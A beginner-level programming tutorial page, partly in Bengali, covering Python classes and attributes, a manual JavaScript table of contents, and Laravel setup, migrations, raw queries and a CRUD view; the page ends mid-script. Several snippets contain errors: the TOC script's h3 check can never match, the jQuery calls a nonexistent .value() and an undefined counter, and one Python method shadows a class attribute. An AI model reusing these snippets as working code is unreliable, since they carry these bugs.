Python Object Oriented Programing OOP

OOP:

OOP এর পূর্ণরূপ হলঃ Object-Oriented Programming। OOP তে সবকিছুই অবজেক্ট। যেমন- আপনি আমাদের এই বিশ্বকে নিয়ে কল্পনা করতে পারেন যা চাঁদ, সূর্য, পৃথিবী ইত্যাদি অবজেক্ট নিয়ে গঠিত।

একইভাবে, আপনি একটি গাড়ি কল্পনা করতে পারেন যা চাকা, গিয়ার, ইঞ্জিন ইত্যাদি অবজেক্ট নিয়ে গঠিত।

অবজেক্ট অরিয়েন্টেড প্রোগ্রামিং এর ধারণাও অনেকটা পথিবী এবং গাড়ির মতই। এটি সবকিছুকেই অবজেক্ট হিসাবে বিবেচনা করে। আপনি এই অবজেক্ট সমূহ ব্যবহার করে বিভিন্ন অ্যাপ্লিকেশন তৈরি করতে পারেন।

Create A Class

class Person:
    pass

Create An Instance And Access Class Attribute

class Person:
    name = 'olee'  #class Attribute
p1= Person()
print(p1.name)

Create A Method Inside Class And Access

class Person:
   def hello(self):
    print('Hello World')
p1= Person()
p1.hello()

self কীওয়ার্ড : self দ্বারা নিজ ক্লাসকে ইন্ডিকেট করে। যখন আমরা কোনো অবজেক্ট তৈরী করি এবং অবজেক্ট এর কোনো মেথড কল করি ওই মেথড এ তখন অটোমেটিক একটা আর্গুমেন্ট পাস করে যা ওই অবজেক্ট কে নির্দেশ করে। যখন আমরা p1 অবজেক্ট এর hello মেথড কল করি তখন অটোমেটিক একটা আর্গুমেন্ট পাস হয় যা p1 অবজেক্ট কে ধারণ করে। যার কারণে p1.name দ্বারা p1 এর নিজস্ব name আবার ক্লাস এর মধ্যে self.name দ্বারা Person ক্লাস এর name নির্দেশ করে।

__init__ () Method

এই মেথডটা ক্লাস এর ইনস্ট্যান্স যখন কল করে অবজেক্ট তৈরী করি তখন কন্সট্রাক্টর এর মত কাজ করে। ডিফল্টভাবে init () একটি পেরামিটার self নামে অন্য নামেও নিতে পারি।এটা বাধ্যতামূলক নিতেই হবে যা দিয়ে আমরা ক্লাস এর প্রপার্টি এক্সেস ও এসাইন করবো।যেমন init (myarg) .
মনেকরি আমরা যদি চাই অবজেক্ট তৈরী হওয়ার সময় ইনস্ট্যান্ট এট্রিবিউট হিসাবে কিছু নিবো। তাহলে init মেথড এ প্রথম পেরামিটার এর পর আমাদের কন্সট্রাক্টর এট্রিবিউট লিখতে পারি। def init(self, fname ): । এই এট্রিবিউট কে ক্লাসের এট্রিবিউট হিসাবে ধরতে নিচের মত এক্সেস করতে হবে

class Person:
    country='bd' # class attribute
    def __init__(self, fname):
      self.name = fname  #instance attribute

     

    def hello(self):
     print('Hello World')

p1= Person('olee')
print(p1.name)

এখানে আমরা self.name = যখন দিলাম তখন name নামে এই ক্লাসের একটি প্রপার্টি তৈরী হয়ে গেলো যা আমরা অবজেক্ট তৈরী করে এক্সেস করলাম।

Class Attribute VS Instance Attribute

যখন একটা ক্লাস এর ইনস্ট্যান্স অবজেক্ট তৈরী করে অবজেক্ট হতে কোনো এট্রিবিউট তৈরী হয় তখন সেটা ইনস্ট্যান্স এট্রিবিউট। আর যে এট্রিবিউট ক্লাস এর মধ্যে থাকে সেটা ক্লাস এট্রিবিউট।এক কথায় অবজেক্টের নিজের প্রপার্টি কে ইনস্ট্যান্স ভ্যারিয়েবল বলে।main ক্লাসের প্রোপার্টিকে ক্লাস প্রপার্টি/ভ্যারিয়েবল বলে।

class Student:
  pass

olee = Student()
mim = Student()
#after creating instance of class or create a object . assign attribute is instance attribute
olee.name= 'olee ahmmed'
mim.name = 'mahmuda farjana'
print(olee.name)
print(mim.name)

class Person:
    country='bd' #class Attribute
    def __init__(self, fname, age):
      self.name = fname
      self.age = age
      self.birthyear = 2000 # Instance Attribute

    def hello(self):
     print('Hello World')

p1= Person('olee',10)
print(p1.name)
print(p1.birthyear)

__dict__ Get Class/Object Property And Value

class Student:
  name=''

olee = Student()
mim = Student()
#after creating instance of class or create a object . assign attribute is instance attribute
olee.name= 'olee ahmmed'
mim.name = 'mahmuda farjana'
print(olee.__dict__)
print(Student.__dict__)

Every Object Is Deferment But Class Same

class Mobile:
    manufacturar = 'China'
    def __init__(self, mobilename, mobilemodel,mobileprice):
      self.name = mobilename
      self.model = mobilemodel
      self.price = mobileprice
      print(f' Your Mobile Name Is {self.name} \n Your Mobile Model Is {self.model} \n Your Mobile Price Is {self.price} \n Manufacturar By {self.manufacturar} \n')

vivo= Mobile('Vivo','v21e',27000)
vivo.manufacturar= "india"
print(vivo.manufacturar)

oppo = Mobile('Oppo','gs5',22000)
oppo.manufacturar= "Bangladesh"
print(oppo.manufacturar)


# আউটপুট এমন আসবে 
'''
 Your Mobile Name Is Vivo 
 Your Mobile Model Is v21e 
 Your Mobile Price Is 27000 
 Manufacturar By China 

india
 Your Mobile Name Is Oppo 
 Your Mobile Model Is gs5 
 Your Mobile Price Is 22000 
 Manufacturar By China 

Bangladesh

'''

মনেকরি আমরা একটি ক্লাস তৈরী করলাম যখন আমরা অবজেক্ট তৈরী করলাম তখন অবজেক্ট দুইটি একই ক্লাসকে বা আত্মাকে কেন্দ্র করে তৈরী হয়েছে কিন্তু দুইটি অবজেক্ট এর দেহ ভিন্ন। যার কারণে প্রপার্টির ভ্যালু নিজস্ব এবং একটি আরেকটির থেকে সম্পূর্ণ আলাদা।

Change Class Property And Instance Attribute Value By Object Creation

class Person:
  country = 'bd'

  def __init__(self, name):
    self.name = name
  

p1= Person('olee')
p1.country = 'India' # Change Class Attribute
p1.name = 'Gsm Ashik'
print(p1.country+' '+p1.name)
#OutPut Will Be
'''India Gsm Ashik'''

Access Class attribute Or Instance attribute inside a method

class Person:
  country = 'bd'

  def __init__(self, name):
    self.name = name

    
  def country(ab):
    print(f'Your Country Is {ab.name} \n')

  def favcolor(args):
    args.country= 'India'
    print(args.country)

p1= Person('olee')
p1.country()
p1.favcolor()

#output Will Be 
'''
Your Country Is olee 

India
 '''

Method With Parameter And Access With Class Attribute

class Person:
 
  country = 'Bangladesh'
  def __init__(self, name):
    self.a = name

  def hello(args):
   print(args.country)    
p1= Person('olee')
p1.hello()

#output Will be 
''''Bangladesh '''
class Person:
  country = 'bd'

  def __init__(self, name):
    self.name = name

    
  def country(ab,code):
    print(f'Your Country Is {ab.name}  And your Cofe Is  {code} \n')
p1= Person('olee')
p1.country(56)

#Output Will Be
'''
Your Country Is olee  And your Cofe Is  56
 '''

self কীওয়ার্ড ইন পাইথন OOP:

আমরা কোডের দিকে লক্ষ্য করলে self কীওয়ার্ড দেখতে পাবো কয়েক জায়গায়। যখন আমরা ক্লাসের মধ্যে কোনো মেথড বা ফাংশন কল করবো তখন আমাদের ফাংশনটিতে ডিফল্ট ভাবে একটি প্যারামিটার দিতে হয় যা দিয়ে আমরা এই ক্লাসের প্রপার্টি ও মেথড কে ধরতে পারি। self বাদেও অন্য নামে দেয়া যায়। পাইথন interpreter সেটা নিজে নিজে self হিসাবে গণ্য করে নেয়।যখন init() মেথডের মধ্যে self.a = ‘কিছুএকটা ‘ লিখি তখন সেটা এই ক্লাসের a এট্রিবিউট হিসাবে asign হয়।

class Person:
 

  def __init__(self, name):
    self.a = name

p1= Person('olee')
print(p1.a)

#output 
''' olee'''

Public And Private Access Modifier

public : যা ক্লাসের বাইরে এবং ভিতরে এক্সেস যোগ্য।
private : যা ক্লাসের শুধুমাত্র ভিতরে এক্সেস যোগ্য।

class Person:
    country = 'Bangladesh'  # class property/attribute with public access  
    def __init__(self, name, age):
      self.name = name # class property/attribute with public access 
      self.age = age # class property/attribute with public access 

      #it Is A Public Method
    def hello(self):
     print(self.country)
p = Person('olee',25)
print(p.country)
print(p.name)
print(p.age)
p.hello()
#output Will Be Below
'''Bangladesh
olee
25
Bangladesh'''

Private Modifier

When we declare data member as private it means they are accessible only side the class and are inaccessible outside the class.

আমরা এর আগে যে প্র্যাক্টিস করেছি তা সবগুলো পাবলিক মডিফায়ার দ্বারা করা। আমরা যখন আমাদের ক্লাস এর প্রপার্টি বা ক্লাস এট্রিবিউট এবং ক্লাস মেথডকে একসেস মডিফায়ার দিয়ে প্রাইভেট করবো তখন ক্লাস এর বাইরে থেকে ওই অবজেক্ট এর প্রাইভেট প্রপার্টি ভ্যালু ও মেথড কে এক্সেস ও মোডিফাই বা পৰিবৰ্তন করা যাবে না। নিচের কোডটি দেখি
এট্রিবিউট ও মেথড এর নামের শুরুতে _ ডাবল আন্ডারস্কোর দিয়ে প্রাইভেট এট্রিবিউট ও প্রাইভেট মেথড কল করা হয়। কোডটি আমরা পূর্বের মত করে রান করলে আমরা এরর পাবো কারণ এট্রিবিউট ও মেথড এর নামের শুরুতে _ ডাবল আন্ডারস্কোর দিয়ে প্রাইভেট করা হয়েছে।
অবজেক্ট তৈরী করার পর অবজেক্ট._classname__privatevariablename লিখলে privatevariablename এর ভ্যালু পাওয়া যাবে।

class MyClass:
  __country = 'Bangladesh'
  def __hello(self):
   print('hello World')

p1= MyClass()
print(p1._MyClass__country)

Javascript Table Of Content Manually

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <!-- table Of Content Menu -->
    <div id="toc">

    </div>

<!-- Article Section -->
    <div id="article">
        <h1>What is Python</h1>
        <p>Lorem, Lorem ipsum dolor sit amet, consectetur adipisicing elit. Magni sapiente voluptate cumque commodi officiis eius maiores id laboriosam, eum voluptas iusto mollitia veritatis harum atque accusantium error, assumenda tempore tenetur.  Lorem ipsum dolor sit amet consectetur adipisicing elit. Ea quos nemo laborum et, nisi, dolor aliquid nesciunt enim quibusdam beatae earum voluptatum porro provident impedit illum nobis deserunt esse! Placeat? ipsum dolor sit amet consectetur adipisicing elit. Maiores rem a recusandae porro dolore numquam reprehenderit, cum consequuntur sint minus quae explicabo ex? Non ad numquam iusto dolores veritatis consequatur? Lorem ipsum dolor, sit amet consectetur adipisicing elit. Non cupiditate alias omnis tenetur excepturi molestias dignissimos ut debitis, architecto sequi! Molestias error suscipit et neque corporis in dolorum aperiam hic! Learn about what Python is and why you want to learn Python today.</p>

        <h1>Installing Python</h1>
        <p>Lorem, Lorem ipsum dolor sit amet, consectetur adipisicing elit. Magni sapiente voluptate cumque commodi officiis eius maiores id laboriosam, eum voluptas iusto mollitia veritatis harum atque accusantium error, assumenda tempore tenetur.  Lorem ipsum dolor sit amet consectetur adipisicing elit. Ea quos nemo laborum et, nisi, dolor aliquid nesciunt enim quibusdam beatae earum voluptatum porro provident impedit illum nobis deserunt esse! Placeat? ipsum dolor sit amet consectetur adipisicing elit. Maiores rem a recusandae porro dolore numquam reprehenderit, cum consequuntur sint minus quae explicabo ex? Non ad numquam iusto dolores veritatis consequatur? Lorem ipsum dolor, sit amet consectetur adipisicing elit. Non cupiditate alias omnis tenetur excepturi molestias dignissimos ut debitis, architecto sequi! Molestias error suscipit et neque corporis in dolorum aperiam hic! Learn about what Python is and why you want to learn Python today.</p>

        <h3>Setting up the VS Code for Python </h3>
        <p>Lorem, Lorem ipsum dolor sit amet, consectetur adipisicing elit. Magni sapiente voluptate cumque commodi officiis eius maiores id laboriosam, eum voluptas iusto mollitia veritatis harum atque accusantium error, assumenda tempore tenetur.  Lorem ipsum dolor sit amet consectetur adipisicing elit. Ea quos nemo laborum et, nisi, dolor aliquid nesciunt enim quibusdam beatae earum voluptatum porro provident impedit illum nobis deserunt esse! Placeat? ipsum dolor sit amet consectetur adipisicing elit. Maiores rem a recusandae porro dolore numquam reprehenderit, cum consequuntur sint minus quae explicabo ex? Non ad numquam iusto dolores veritatis consequatur? Lorem ipsum dolor, sit amet consectetur adipisicing elit. Non cupiditate alias omnis tenetur excepturi molestias dignissimos ut debitis, architecto sequi! Molestias error suscipit et neque corporis in dolorum aperiam hic! Learn about what Python is and why you want to learn Python today.</p>
    </div>

    <script >

        var toc= document.getElementById('toc');

       
        var tocheader = document.createElement("h2");
        tocheader.innerText = 'Table Of Content';
        toc.appendChild(tocheader);


        var tocul = document.createElement('ul');
        var subul = null;
        var mainli = null; 
        var subli = null;

        var articlediv = document.getElementById('article');

        var headings = articlediv.querySelectorAll('h1,h2');
        for ( var i = 0; i < headings.length; i++) {
            
            // create an id
            var name = "h"+i;
            headings[i].id = name;
            var tagname = headings[i].nodeName;

            var tocli = null;
            var anchorlink = document.createElement('a');
            anchorlink.setAttribute('href', '#'+name);
            anchorlink.innerText= headings[i].innerText;


            if ('h3' === tagname ) {
                    tocli = document.createElement('li');
                    subul = document.createElement('ul');
                    subli = document.createElement('li');
                    subli.innerText = "h";
                    subul.appendChild(subli)
                    tocul.appendChild(subul);
                    
               
            }
            else {
               tocli = document.createElement('li');
            }


          
           
            tocli.appendChild(anchorlink);
            tocul.appendChild(tocli);



        }

        toc.appendChild(tocul);

    </script>
</body>
</html>

Laravel Tutorial Step By Step With Organize Way

Tools Needed :

  • Xampp Download Link
  • Composer Download Link
  • npm
  • Any Code Editor I Am Using Visual Studio Download Link

Installing Laravel :

Go to Any Directory In Your Pc And Create A Folder With Your Project Name Open Folder In Visual Studio And Run Below Code In Visual Studio Code Terminal .

composer create-project laravel/laravel Example

Php Artisan Command Laravel

Name Of Command	                                        : Work Of Command
php artisan make:controller UserController              : Make A Controller File In App\Http\Controllers/UserController.php
// Resource Controller
php artisan make:controller UserController –resource	: Make Controller With Create,Update,delete And Edit Methde

php artisan make:model Photo	                        : Make A Model File In App/Http/Model/Photo.php
php artisan make:migration photo	                    : make A Migration File In database/migration/migration file
php artisan make:seeder Bookseeder	                    : Make A Seeder File Database/Seeders Folder
php artisan make:middleware checkage	                : make A Middlewire File In App/Http/Middleware Folder
php artisan optimize	                                : Clear cache And Optimize Laravel File

Laravel Ui :Install Bootstrap

Let’s run bellow command to install laravel ui package by bellow command:

composer require laravel/ui

Next, you have to install the laravel UI package command for creating auth scaffolding using bootstrap 5. so let’s run the bellow command:

php artisan ui bootstrap

Now let’s run bellow command for install npm:

npm install && npm run dev

Laravel ui bootstrap Linking With View Using Vite

Laravel 9 use vite For Linking Bootstrap File Link Any View With Below Code

    @vite(['resources/sass/app.scss', 'resources/js/app.js'])

Connecting your Laravel project to MySQL database

Step1: Create a new database via phpmyadmin

Navigate to domain name.dev/ PHPMyAdmin, Click on the Databases tab and create a new database with your wanted name. Clicking on create will create a new database in your XAMPP MySQL.

Step2: Changes in.env configuration file

Once the database is created, you need to tell your laravel project the details about the database. Open .env file And Change Below Property With Your database Information .

DB_CONNECTION=mysql
DB_HOST=190.0.0.1
DB_PORT=4008
DB_DATABASE=testProject
DB_USERNAME=root
DB_PASSWORD=

Laravel Migration :

Create table Using Migration Command:

Create A table names posts : Open terminal And Run Below Code

php artisan make:migration create_post_table

After run above command, you can see created new file In Database/Migrations/2022_09_15_111008_create_post_table.php .

Open The File You See Like This

<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

return new class extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('post', function (Blueprint $table) {
            $table->id();
            $table->timestamps();
            
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('post');
    }
};

you have to add new column for string, integer, timestamp and text data type as like bellow:

Add Column name title,body and is_publish

<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

return new class extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('post', function (Blueprint $table) {
            $table->id();
            $table->timestamps();
            $table->string('title');
            $table->text('body');
            $table->boolean('is_publish')->default(0);
            

        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('post');
    }
};

What Is Migration Up And Down Function

Laravel Give Us Two Type Of Migration Process 1. Migrate And Role back . When Our Migration Turn into Next Then Work the Up Function . If We need To Go Preview Step Need Role back

    public function up()
    {
        Schema::create('flights', function (Blueprint $table) {
            $table->id();
            $table->string('name');
            $table->string('airline');
            $table->timestamps();
        });
    }

When We Run Migration migrate . Run up function If We See Above Code Inside Up Method Some Instruction When We Migrate Migration Command Create A Table Like Above Instruction .

  public function down()
    {
        Schema::drop('flights');
    }

When We Run Migration Role back . Run down function

Migrate Database

Run Migrate Command In Terminal Or Cmd

php artisan migrate
Laravel Migration Default Value For Column

After Creating migration File column Structure Like Below

$table->text('body')->default('NO BODY');
Laravel Migration Default Value Null:
$table->string('title')->nullable();
Laravel Migration Default Value Boolean:
$table->boolean('displayed')->default(0);
Laravel Migration Default Value Current Date:
$table->timestamp('created_at')->default(DB::raw('CURRENT_TIMESTAMP'));
Laravel Migration Column Length :
$table->string('title', 50);
Laravel Migration Drop Column From Database Table
    public function up()
    {
        Schema::table('posts', function (Blueprint $table) {
            $table->dropColumn('body');
        });
    }

Laravel Database : Raw Query

For Best Support Follow Laravel Official Website link : Basic Database Usage

Laravel Raw Query : Insert Statement

Open Web.php : Include DB Class And Set Route

<?php

use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\DB;
Route::get('/', function () {
     DB::insert('insert into table_post (title, body) values(?,?)',['Olee','Ahmmed  ashik']);
});
?>

Write Above Code In Web.php . After Run php artisan optimize Command Reload Route Page In browser one Record Will be Insert in database .

Laravel Raw Query : Select Statement

<?php

use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\DB;
Route::get('/', function () {
    $data =  DB::select('select title,body from table_post where title = ? ',['olee']);
    return $data;
});
?>

Laravel Raw Query : Update Statement

<?php

use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\DB;
Route::get('/', function () {
   $data = DB::update('update table_post set title = "good boy" where id = ?',[1]);
   return  $data ;
});
?>

Laravel Raw Query : Delete Statement

<?php

use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\DB;
Route::get('/', function () {
   $data = DB::delete('delete from table_post where title = ?',['good boy']);
   return  $data ;
});

?>

লারাভেল প্রজেক্ট নিয়ে যেভাবে কাজ করবো

লারাভেল ইনস্টল এবং প্রজেক্ট সেটআপ

প্রথমে লারাভেল এর প্রজেক্ট তৈরী করতে হবে কম্পোজার দিয়ে । 
composer create-project laravel/laravel example-app

ডাটাবেসের সাথে প্রজেক্ট ফাইল  কানেক্ট করা। প্রজেক্ট এর .env ফাইল ওপেন করে ডাটাবেসের ইনফরমেশন গুলো দিতে হবে 
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=database_name
DB_USERNAME=database_user_name
DB_PASSWORD=database_password

কমান্ড প্রম্প এ  নিচের কোড রান  করতে হবে 
php artisan migrate

লগইন রেজিস্ট্রেশন করার জন্য লারাভেল Auth সেটআপ করা কম্পোজার এ নিচের কোড রান করি

লগইন রেজিস্ট্রেশন করার জন্য লারাভেল Auth সেটআপ করা কম্পোজার এ নিচের কোড রান করি 
composer require laravel/ui
php artisan ui bootstrap
php artisan ui bootstrap --auth
npm install
npm run dev
php artisan migrate

যেকোনো টেম্প্লেটকে লারাভেল এ কাজ করা।
html css টেম্পলেট গুলো লারাভেল এর resources/views/ ফোল্ডার এ রাখা হয়।

প্রথমে html টেম্পলেট resources/views/ ফোল্ডার এ রাখি 
এইচটিএমএল ফাইল গুলোকে blade ফাইল এ কনভার্ট করি  index.html  ফাইল সহ  অন্য ফাইল গুলোকে  index.blade.php  এই ভাবে বানাও 
index ফাইলকে url এর মাদ্ধমে শো করার জন্য routes/web.php তে route তৈরী করি। 

Route::get('/sycorax',function(){
    return view('sycorax.index');
});
জাভাস্ক্রিপ্ট ও সিএসএস ফাইলকে লিংক করি 
প্রথমে css ও js ফাইলকে public ফোল্ডার এ মুভ করি assets বা অন্য যেকোনো নামে ফোল্ডারে রাখ .
 <!-- Styles -->
<link rel="stylesheet" href="{{ URL::asset('assets/css/bootstrap.min.css') }}" />
  <!-- Scripts -->
     <!-- Scripts -->
<script src="{{ asset('public/assets/js/jquery.min.js') }}" ></script>
<script src="{{ asset('public/assets/js/bootstrap.min.js') }}"></script> 

লারাভেল ৮ এ কমপ্লিট crud সিস্টেম ডেভেলপ করা

লারাভেল যেহেতু একটি mvc ফ্রেমওয়ার্ক তাই আমরা mvc প্যাটার্ন ফলো করবো। আমাদের এজন্য লাগবে
একটি model ,একটি controller ,একটি route ,একটি view ,একটি migration বা ডাটাবেস ফাইল .ডেমো হিসাবে item নাম এ একটি crud বানাবো

//কম্পোজার এ নিচের কোড রান করি 
php artisan make:model Items -mcr
  • database এ যে কলাম গুলো লাগবে সেগুলো মাইগ্রেশন ফাইল এ অ্যাড করি
<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

class CreateItemsTable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('items', function (Blueprint $table) {
            $table->id();
            $table->string('code');
            $table->string('description');
            $table->timestamps();
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('items');
    }
}

php artisan migrate এই কমান্ড comandprump এ এন্টার করে ডাটাবেস এ কলাম গুলো তৈরী করি।

ডাটাবেস এ মাইগ্রেশন জাতীয় সব ডিটেলস পাওয়া যাবে এই লিংকে

Model মডেল নিয়ে কাজ করা।

ইনসার্ট, আপডেট , ডিলিট কিভাবে কাজ করবে তা আমরা মডেল ফাইল এ বলে দেব (Items.php)


<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class Items extends Model
{
    use HasFactory;
    protected $table = 'items'; //কোন টেবিল এ কাজ করবে তা বলে দেয়া। 
    protected $fillable = ['code','description','quantity']; // ইনসার্ট, আপডেট , ডিলিট  কোন কলামে হবে তা বলে দেয়া  
}

ইনসার্ট,আপডেট ,ফাইন্ড , ডিলেট কন্ট্রোলার দ্বারা কাজ করা

প্রথমে ভিউ বানাবো

 প্রথমে আমাদের তিনটি বাটন থাকবে ১.ডিলিট ২.সেভ ৩.ফাইন্ড 

ফাইন্ড এবং সেভ বাটনে ক্লিক করলে route থেকে কন্ট্রোলার ঘুরে যখন ভিউতে আসবে তখন ফর্ম এর ওপেনিং এরিয়া পরিবর্তন হবে

<!-- ফাইন্ড এবং add বাটনে ক্লিক করলে route থেকে কন্ট্রোলার ঘুরে যখন ভিউতে আসবে তখন ফর্ম এর ওপেনিং এরিয়া পরিবর্তন হবে -->

@if(@isset($find) && $find == 'find')   <form action="{{route('items.find')}}" method="post" id="myform" > @csrf @endif

@if(@isset($find) && $find == 'add') <form action="{{route('items.store')}}" method="post" id="myform"  > @csrf @endif

@if(@isset($find  ) && $find == 'edit') <form action="{{route('items.update',$output[0]->id )}}" method="post" id="myform" > @csrf @method('PUT') @endisset

ফর্ম এরিয়া

<div class="card">
    <div class="card-body">
  
        <table class="table table-bordered itemrow" id='rowtable'>
            <thead>
                
                    <th>#</th>
                    <th>Code</th>
                    <th>Description</th>
                    <th>Quantity</th>
                  
              
            </thead>
            <tbody>
                <tr>
                    <td ><i class="fa fa-plus" id='addRowButton'></i> <i class="fa fa-minus ibtnDel"></i></td>
                    <td><input type="text" class="form-control " type="text" name='code[]' value="@isset($output[0]){{$output[0]->code }} @endisset"></td>
                    <td><input type="text" class="form-control" type="text" name="description[]" value="@isset($output[0]){{$output[0]->description }} @endisset"></td>
                    <td><input type="text" class="form-control" type="text" name="quantity[]" value="@isset($output[0]){{$output[0]->quantity }} @endisset"></td>
                 
                </tr>

            </tbody>
        </table>
    </div>
</div>
<div class="text-center">

      @if(@isset($find  ) && $find == 'add') <button class="btn btn-primary btn-2" >ADD</button>   @endisset
      @if(@isset($find  ) && $find == 'find') <button class="btn btn-primary btn-2" >Find</button>   @endisset
      @if(@isset($find  ) && $find == 'OK') <button class="btn btn-primary btn-2" >OK</button>   @endisset
      @if(@isset($find  ) && $find == 'edit') <button class="btn btn-primary btn-2" >Edit</button>   @endisset
      <br>
       
</div>
</form>

অ্যাড ফাইন্ড এডিট ডিলিট নোটিফিকেশ শো করার জন্য ফর্ম এর পরে

@include('sycorax.layout.message')
@include('sycorax.layout.modal')

ফুটার সেকশন

      <!-- Scripts -->
<script src="{{ asset('assets/js/jquery.min.js') }}" ></script>


<script src="{{ asset('assets/js/bootstrap.min.js') }}"></script> 
  <script>

//  Click Plus Icon Add Row As Last Item
 
$(document).on('click', '#addRowButton', function() {
    var table = $('#rowtable'),
        lastRow = table.find('tbody tr:first '),
        rowClone = lastRow.clone();
    table.find('tbody').append(rowClone).val("");
    
});

// delete button click remove row 
$("#rowtable").on("click", ".ibtnDel", function (event) {
        $(this).closest("tr").remove();       
        counter -= 1
    });


/*checkbox hidden field 
 */

$('input[type="checkbox"]').on('change', function(e){
    if($(this).prop('checked'))
    {
        $(this).next($('input[type=hidden]')).removeAttr('name');
        
    } else {
        $(this).next($('input[type=hidden]')).value('1');
    }
});


    $('input[type=checkbox]:checked').each(function(index){
        $(this).next($('input[type=hidden]')).removeAttr('name');
});
   

   /* 
  For Modal Open
 */
$("#myModal").modal('show');

// Click Delete Anchor Button To Submit Delete Form
function myFunction() {
                document.getElementById("myform").submit();
            }
  </script>
</body>
</html>

বাটন দুইটির route তৈরি করি যেটা আমাদের কন্ট্রোলার এর show মেথড কল হবে।

Route::get('items/{btn}', [ItemsController::class, 'show'])->name('items.fbtn');

কন্ট্রোলার এর show মেথড হবে এরকম

public function show($id)
    {
return view('items.index',['find'=> $id]);
        
    }

Full View

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
     <!-- Styles -->
<link rel="stylesheet" href="{{ URL::asset('assets/css/bootstrap.min.css') }}" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
</head>
<body>
<!-- প্রথম এরিয়া শুরু  -->
    <!-- ডিলিট বাটন এরিয়া  -->
    <div class="col-md-1">
        <!-- নরমাল ভাবে ক্লিক করা যাবেনা এমন ডিলিট বাটন শো করবে  -->
        @if(!@isset($deletebtn))<span class=" fa fa-trash text-dark "></span> @endif  
        <!-- যদি ফাইন্ড বাটন ক্লিক করে শো বা এডিট ফর্ম পেজ হয়  -->
        @if(@isset($deletebtn)) 
            <form action="{{ route('items.destroy',$output[0]->id) }}" method="POST" id="myform"> @csrf @method('DELETE')
                <a href="#" onclick="myFunction()"><span class=" fa fa-trash text-dark "></span></a>
            </form>
        @endif   
    </div>
<!-- ফাইন্ড বাটন এরিয়া  -->
    <div class="col-md-1"> <a href="{{route('items.fbtn',['btn' => 'find'])}}" class="" ><span class=" fa fa-binoculars text-dark "></span></a>  </div>
    <!-- সেভ বাটন এরিয়া  -->
    <div class="col-md-1"> <a href="{{route('items.fbtn',['btn' => 'add'])}}" class="" ><span class=" fa fa-save text-dark  "></span></a> </div>
    <div class="col-md-9">
  



    </div>
    <div class="clearfix"></div> 
<!-- প্রথম এরিয়া শেষ  -->

<!-- ফাইন্ড এবং add বাটনে ক্লিক করলে route থেকে কন্ট্রোলার ঘুরে যখন ভিউতে আসবে তখন ফর্ম এর ওপেনিং এরিয়া পরিবর্তন হবে -->

@if(@isset($find) && $find == 'find')   <form action="{{route('items.find')}}" method="post" id="myform" > @csrf @endif

@if(@isset($find) && $find == 'add') <form action="{{route('items.store')}}" method="post" id="myform"  > @csrf @endif

@if(@isset($find  ) && $find == 'edit') <form action="{{route('items.update',$output[0]->id )}}" method="post" id="myform" > @csrf @method('PUT') @endisset

<div class="card">
    <div class="card-body">
  
        <table class="table table-bordered itemrow" id='rowtable'>
            <thead>
                
                    <th>#</th>
                    <th>Code</th>
                    <th>Description</th>
                    <th>Quantity</th>
                  
              
            </thead>
            <tbody>
                <tr>
                    <td ><i class="fa fa-plus" id='addRowButton'></i> <i class="fa fa-minus ibtnDel"></i></td>
                    <td><input type="text" class="form-control " type="text" name='code[]' value="@isset($output[0]){{$output[0]->code }} @endisset"></td>
                    <td><input type="text" class="form-control" type="text" name="description[]" value="@isset($output[0]){{$output[0]->description }} @endisset"></td>
                    <td><input type="text" class="form-control" type="text" name="quantity[]" value="@isset($output[0]){{$output[0]->quantity }} @endisset"></td>
                 
                </tr>

            </tbody>
        </table>
    </div>
</div>
<div class="text-center">

      @if(@isset($find  ) && $find == 'add') <button class="btn btn-primary btn-2" >ADD</button>   @endisset
      @if(@isset($find  ) && $find == 'find') <button class="btn btn-primary btn-2" >Find</button>   @endisset
      @if(@isset($find  ) && $find == 'OK') <button class="btn btn-primary btn-2" >OK</button>   @endisset
      @if(@isset($find  ) && $find == 'edit') <button class="btn btn-primary btn-2" >Edit</button>   @endisset
      <br>
       
</div>
</form>


@include('sycorax.layout.message')
@include('sycorax.layout.modal')

       <!-- Scripts -->
<script src="{{ asset('assets/js/jquery.min.js') }}" ></script>


<script src="{{ asset('assets/js/bootstrap.min.js') }}"></script> 
  <script>

//  Click Plus Icon Add Row As Last Item
 
$(document).on('click', '#addRowButton', function() {
    var table = $('#rowtable'),
        lastRow = table.find('tbody tr:first '),
        rowClone = lastRow.clone();
    table.find('tbody').append(rowClone).val("");
    
});

// delete button click remove row 
$("#rowtable").on("click", ".ibtnDel", function (event) {
        $(this).closest("tr").remove();       
        counter -= 1
    });


/*checkbox hidden field 
 */

$('input[type="checkbox"]').on('change', function(e){
    if($(this).prop('checked'))
    {
        $(this).next($('input[type=hidden]')).removeAttr('name');
        
    } else {
        $(this).next($('input[type=hidden]')).value('1');
